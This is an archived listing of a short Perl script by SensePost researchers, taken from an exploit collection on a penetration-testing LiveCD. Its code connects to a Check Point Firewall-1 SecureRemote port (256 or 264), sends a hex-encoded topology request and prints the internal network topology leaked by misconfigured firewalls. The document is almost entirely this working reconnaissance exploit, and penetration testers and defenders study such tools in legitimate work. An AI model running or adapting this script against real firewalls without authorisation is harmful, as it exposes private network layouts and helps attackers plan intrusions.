home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / firewall / Checkpoint / sr.pl < prev   
Perl Script  |  2005-02-12  |  1KB  |  40 lines
  1. #!/usr/bin/perl
  2. # A Command-line tool that can be used to download network Topology
  3. # from Firewall-1's running SecureRemote, with the option "Allow un
  4. # authenticated cleartext topology downloads".
  5. # Usage sr.pl IP
  6. # Haroon Meer & Roelof Temmingh 2001/07/17
  7. # haroon@sensepost.com - http://www.sensepost.com
  8.  
  9. use Socket;
  10. if ($#ARGV<0) {die "Usage: sr.pl IP\n";}
  11.  
  12. $port=256;
  13. $target=inet_aton($ARGV[0]);
  14. print "Testing $host on port $port\n";
  15.  
  16. $SENDY="410000000259052100000004c41e43520000004e28746f706f6c6f67792d726571756573740a093a63616e616d6520282d53656e7365506f73742d646f74
  17. 636f6d2d290a093a6368616c6c656e67652028633265323331383339643066290a290a00";
  18. $SENDY = pack("H*",$SENDY);
  19.  
  20. @results=sendraw($SENDY);
  21.  
  22. if ($#results == 0) {
  23.  print "No results on port 256 - trying 264\n";
  24.  $port=264;
  25.  @results2=sendraw($SENDY); 
  26.  if ($#results2 == 0) {die "Sorry - no results\n";}
  27. } else {print @results;}
  28.  
  29. sub sendraw {
  30.  my ($pstr)=@_;
  31.  socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n");
  32.  if(connect(S,pack "SnA4x8",2,$port,$target)){
  33.   my @in;
  34.   select(S);      $|=1;   print $pstr;
  35.   while(<S>){ push @in, $_;}
  36.   select(STDOUT); close(S); return @in;
  37.  } else { return ""; }
  38. }
  39. # Spidermark: sensepostdata fw1
  40.